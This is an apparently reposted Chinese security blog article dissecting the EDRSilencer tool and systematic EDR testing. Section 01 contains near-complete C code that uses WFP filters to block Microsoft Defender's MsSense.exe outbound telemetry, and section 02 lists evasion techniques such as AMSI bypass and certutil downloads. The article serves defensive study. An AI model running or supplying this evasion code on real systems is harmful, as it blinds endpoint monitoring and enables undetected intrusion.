文章总结: 本文剖析开源项目edrsilencer利用WindowsWFP框架静默EDR出站流量,实现绕过检测的原理,并介绍基于ATT&CK框架的系统性EDR测试方法论。文章揭示了端点防御在检测精度与性能开销、误报与漏报间的核心权衡,强调通过自动化测试校准安全水位,为防御体系构建提供可操作思路。 综合评分: 85 文章分类: 红队,安全工具,渗透测试
从1899星项目解剖EDR:绕过原理与系统性测试方法
原创
故沙 故沙
字节沙丘
2026年8月28日 09:10 北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
深入剖析EDR绕过工具的底层技术原理与系统性测试方法,探讨端点防御的核心权衡与挑战。
一个拥有1899 GitHub星的开源项目EDRSilencer,其核心代码通过一行API调用就能静默掉微软Defender、Elastic等主流EDR的对外遥测流量。这揭示了端点防御体系一个关键的设计权衡点。本文不讨论理论,而是基于真实开源工具和攻击技术,拆解EDR绕过的工程实现,并展示如何用结构化方法进行测试验证。
01 EDRSilencer:基于WFP的流量静默术
EDR的运作依赖一个关键链条:终端Agent采集数据 -> 通过网络发送至云端或管理端 -> 分析响应。切断这条链路,EDR就成了“睁眼瞎”。EDRSilencer正是利用了Windows原生的网络过滤框架(WFP)来执行这一操作。
【核心原理】
该工具并非通过创建防火墙规则或修改网络配置,而是直接调用底层API。其技术核心在于以下流程:
1. 获取目标进程:使用FwpmGetAppIdFromFileName0 API,根据EDR可执行文件(如MsSense.exe)的路径生成一个应用ID(AppId)。
2. 构建过滤器:基于该AppId,构建一个过滤器(Filter)和过滤器条件(FilterCondition),匹配该进程的所有出站流量。
3. 添加至WFP引擎:将过滤器添加到WFP的FWPM_LAYER_ALE_AUTH_CONNECT_V4(或V6)层。这一层负责在应用程序发起网络连接时进行拦截。
4. 设置阻断动作:将过滤器的动作设置为FWP_ACTION_BLOCK。如此一来,任何来自该EDR进程的出站数据包都会被WFP引擎在网络层直接丢弃。
其GitHub主页描述的“自定义FwpmGetAppIdFromFileName0实现以避免检测”,指的就是在代码中更隐蔽地调用此API,而非依赖公开、易被监控的调用方式。这本质上是攻击者与EDR在“底层API调用”层面上的一次对抗。
// 概念性代码示意,展示核心API调用序列(非完整可运行代码)#include<fwpmu.h>#pragma comment(lib, "fwpuclnt.lib")HANDLEengineHandle=NULL;FWPM_SESSION0session={0};session.displayData.name=L"MyBlockSession";session.flags=FWPM_SESSION_FLAG_DYNAMIC;// 1. 打开WFP引擎FwpmEngineOpen0(NULL,RPC_C_AUTHN_WINNT,NULL,&session,&engineHandle);// 2. 根据文件路径获取AppId(假设已定位到MsSense.exe)FWPM_APP_ID0appId={0};FwpmGetAppIdFromFileName0(L"C:\\Program Files\\Windows Defender\\MsSense.exe",&appId.appId);// 3. 构建过滤器条件:匹配该AppIdFWPM_FILTER_CONDITION0filterCondition[1];filterCondition[0].fieldKey=FWPM_CONDITION_ALE_APP_ID;filterCondition[0].matchType=FWP_MATCH_EQUAL;filterCondition[0].conditionValue.type=FWP_BYTE_BLOB_TYPE;filterCondition[0].conditionValue.byteBlob=appId.appId;// 4. 构建并添加阻断过滤器FWPM_FILTER0filter={0};filter.displayData.name=L"BlockEDR_Outbound";filter.layerKey=FWPM_LAYER_ALE_AUTH_CONNECT_V4;filter.subLayerKey=FWPM_SUBLAYER_UNIVERSAL;filter.weight.type=FWP_EMPTY;// 默认权重filter.filterCondition=filterCondition;filter.numFilterConditions=1;filter.action.type=FWP_ACTION_BLOCK;// 关键:阻断动作filter.flags=FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHT;UINT64filterId=0;FwpmFilterAdd0(engineHandle,&filter,NULL,&filterId);
02 测试驱动:用脚本量化EDR的检测能力
知道如何绕过,下一步就是系统地测试“哪些能绕过,哪些不能”。手动测试效率低且不可重复。EDR-Testing-Script这类工具的价值在于,它将MITRE ATT&CK框架和LOLBAS知识库转化为可执行的测试用例。
【方法论框架】 有效的EDR测试不是随机尝试,而是一个循环: 1. 定义测试目标:基于威胁情报(如ATT&CK中的T1059.001 PowerShell执行)。 2. 生成或选择Payload:使用工具生成对应的测试脚本或二进制文件。 3. 执行与监控:在目标终端运行Payload,同时监控EDR控制台的警报和日志。 4. 分析结果:记录检测时间、警报内容、是否被阻断、后续进程链是否被关联分析。 一个典型的测试维度对比表如下:
| 测试技术 | 对应ATT&CK ID | 工具示例 | 预期EDR行为 | 常见绕过原理 | | — | — | — | — | — | | PowerShell内存执行 | T1059.001 | Invoke-Obfuscation | 模式匹配/脚本块日志 | 混淆、反射式加载、AMSI绕过 | | 受信任的二进制下载 | T1105 | certutil.exe, mshta.exe | 进程创建+网络连接分析 | 利用白名单程序完成恶意下载 | | 进程注入 | T1055 | Cobalt Strike, 自定义DLL | 内存扫描、行为监控 | 注入到合法进程、使用原生API | | 文件操作(创建/删除) | T1107 | cmd.exe, del | 文件系统过滤驱动 | 直接操作物理扇区或使用未监控的API | | WMI事件订阅 | T1546.003 | PowerShell, mofcomp.exe | WMI活动监控 | 延迟执行、利用默认订阅 |
自动化测试脚本可以批量执行这些测试,并生成报告,清晰地展示出当前EDR在检测哪类技术上存在盲区或延迟。
03 开放挑战:在刀锋上平衡的艺术
尽管开源工具提供了强大的测试和研究能力,但这也反向揭示了EDR系统面临的核心挑战。用中国的一句古话讲,“工欲善其事,必先利其器”,但“器”太锋利(检测太严)则容易误伤,太钝(检测太松)则形同虚设。
【核心矛盾】 * 检测精度与性能开销:深度的行为分析和内存扫描需要消耗大量系统资源。如何在Windows 10/Server 2016(如EDRSilencer测试环境)这样的主流系统上实现低延迟检测,是永恒的架构难题。
* 误报与漏报的权衡:过于灵敏的规则会生成海量误报,淹没安全运营中心(SOC)分析师。而为了降低误报放松规则,则可能漏掉新型攻击。EDR-Testing-Script这类工具的作用之一,就是帮助量化这个权衡的阈值。 * 攻防技术的螺旋演进:EDRSilencer的出现,意味着攻击者已从利用简单漏洞升级到对抗安全产品的核心架构(网络过滤)。防御方必须将分析能力从用户态深入到内核态,并监控更底层的系统调用(直接系统调用以绕过用户态钩子)。这就像一场没有终点的军备竞赛。 * 开源双刃剑:像PlanqX EDR、WatchTower-EDR这样的开源项目,降低了安全研究的门槛,促进了技术的透明化。但同样,攻击者也能更方便地研究EDR的检测逻辑,为其量身定制绕过方案。 理解EDR的绕过技术,目的并非破坏,而是为了构建更健壮的防御体系。通过EDRSilencer这类工具剖析攻击者的工程思维,并利用测试脚本进行持续、自动化的验证,是提升企业安全水位的有效路径。安全的本质是动态平衡,而测试,是校准这种平衡最可靠的砝码。
故沙
安全开发 · AI智能体 · 全栈技术
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:字节沙丘 故沙 故沙《从1899星项目解剖EDR:绕过原理与系统性测试方法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论